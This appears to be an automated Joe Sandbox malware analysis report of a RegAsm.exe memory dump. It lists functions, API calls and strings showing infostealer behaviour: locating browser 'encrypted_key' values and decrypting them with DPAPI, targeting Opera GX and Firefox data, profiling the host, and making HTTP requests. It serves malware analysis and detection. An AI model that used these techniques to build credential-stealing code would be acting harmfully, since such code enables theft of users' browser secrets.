Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9e3b5aa9e4815655d37b580d824bd8f900de3d495d383a8751fe16bf523792ad
Instruction ID: f50e13fd7eda3401684194e3b4178dcbc35dad14aaafdb4021fb065c0cc55dd5
Opcode Fuzzy Hash: 9e3b5aa9e4815655d37b580d824bd8f900de3d495d383a8751fe16bf523792ad
Instruction Fuzzy Hash: 6F714072A00119ABCF01FFA5EE468CD7775EF14309F104036F500B71A2DBB9AE898B99

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437538,0043688A), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

moz-extension+++, xrefs: 0040D4DD
^userContextId=4294967295, xrefs: 0040D4D7

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 6aa37cb2f67db944989395a71283edee486ac6c96c9a46fa9e3a19fa612f2b1c
Instruction ID: 85de75ec200c89e9111d7c6d064248f53d90c55406061a5cb20e0ca06024b096
Opcode Fuzzy Hash: 6aa37cb2f67db944989395a71283edee486ac6c96c9a46fa9e3a19fa612f2b1c
Instruction Fuzzy Hash: 15410B76A001199BCF10FBA6DD465CD77B5AF04308F51003AFD00B3192DBB8AE4D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

"encrypted_key":", xrefs: 004081DF
DPAPI, xrefs: 0040821B
, xrefs: 00408241

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 90210c10ee996d7ab5569050e076cca1abac48211b6b88e599488f63d6b1df73
Instruction ID: d78dfd73ee8100a23edce15a91f2c70fa2f38e8288fa49592993377d3a11e596
Opcode Fuzzy Hash: 90210c10ee996d7ab5569050e076cca1abac48211b6b88e599488f63d6b1df73
Instruction Fuzzy Hash: 1121C232E40209ABDF14EB91DD41ADE7378AF41364F2045BFE950B72D1DF38AA49CA58

Function 00410F51 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 00416330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416378
lstrcatA.KERNEL32(?), ref: 00416396

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Strings

nzA, xrefs: 004164AE

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: nzA
API String ID: 153043497-1761861442
Opcode ID: b4da720962e9555cdd77b7fe306ab90caf7c41af40743b1f06eb89ecc5cf0673
Instruction ID: 6a45041e7e61eaec4ac0428956384e3812b0c56a5955d947ae57416d2cc1f0af
Opcode Fuzzy Hash: b4da720962e9555cdd77b7fe306ab90caf7c41af40743b1f06eb89ecc5cf0673
Instruction Fuzzy Hash: DD31F77280010DEFDF15EB60DC43EE8377AEB08314F5440AEF606932A1EA769B919F55

Function 0041683E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

Strings

ERROR, xrefs: 0041686B
ERROR, xrefs: 00416896

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: 1f04a280a058e3c99f689a2c33220ef0c6b47f7de1e09031bce4c6852948f489
Instruction ID: fa6cd13a443083575c3a824eeb1e5676c961334a8f4b47820412c2fdc9a040c1
Opcode Fuzzy Hash: 1f04a280a058e3c99f689a2c33220ef0c6b47f7de1e09031bce4c6852948f489
Instruction Fuzzy Hash: 6F014F75A00118ABCB20FB76D9469CD73A96F04308F55417BBC24E3293E7B8E9494AD9

Function 00416E97 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 00416EFE
CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: a1dc13e99dd204c5a3461b4ea6d28ee21b2c0be54f1f4843eeff7d6218642cdc
Instruction ID: 5b264aedade7dddb2649676fe5ff4aca135c6ea40ecc08e40dc523016e9b5da3
Opcode Fuzzy Hash: a1dc13e99dd204c5a3461b4ea6d28ee21b2c0be54f1f4843eeff7d6218642cdc
Instruction Fuzzy Hash: EC213B72900218ABCF14EF96E9459DE7BB9FF40358F11512BF904A3151D738EA86CF98

Function 00412446 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,00414A8D,00414A8D,00000000,?,?,?,00414A8D), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A8D), ref: 0041249E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6C103060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C103095

Part of subcall function 6C1035A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C18F688,00001000), ref: 6C1035D5
Part of subcall function 6C1035A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C1035E0
Part of subcall function 6C1035A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C1035FD
Part of subcall function 6C1035A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C10363F
Part of subcall function 6C1035A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C10369F
Part of subcall function 6C1035A0: __aulldiv.LIBCMT ref: 6C1036E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C10309F

Part of subcall function 6C125B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C1256EE,?,00000001), ref: 6C125B85
Part of subcall function 6C125B50: EnterCriticalSection.KERNEL32(6C18F688,?,?,?,6C1256EE,?,00000001), ref: 6C125B90
Part of subcall function 6C125B50: LeaveCriticalSection.KERNEL32(6C18F688,?,?,?,6C1256EE,?,00000001), ref: 6C125BD8
Part of subcall function 6C125B50: GetTickCount64.KERNEL32 ref: 6C125BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C1030BE

Part of subcall function 6C1030F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C103127
Part of subcall function 6C1030F0: __aulldiv.LIBCMT ref: 6C103140

Part of subcall function 6C13AB2A: __onexit.LIBCMT ref: 6C13AB30

Memory Dump Source

Source File: 00000002.00000002.2403932845.000000006C101000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C100000, based on PE: true

Associated: 00000002.00000002.2403878262.000000006C100000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2404569531.000000006C17D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2404763433.000000006C18E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2404821247.000000006C192000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c100000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: b9010b388c8f589a658e8b4748f2647f2c49d58a73b5d1e09e5065b9a7f47ebb
Instruction ID: e83a90b1c4c39ab8f5e1642fd02b6745af7a8f37e184f23e6bcf5b58f6688e99
Opcode Fuzzy Hash: b9010b388c8f589a658e8b4748f2647f2c49d58a73b5d1e09e5065b9a7f47ebb
Instruction Fuzzy Hash: 46F07D22E29B4497CB10DF3488813E67370EF6B218F701319E85817521FF20A1D993C2

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction ID: 4a48e0897f6a5e53a67cc5d7e0c14adbc6ce47083a4b6c26751418be0e4428b5
Opcode Fuzzy Hash: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction Fuzzy Hash: 2DE08CB1200204BBD7449BD9AC8DF8A76BCDB84715F100226F605D6250EAB4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,00436853,0043684B,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
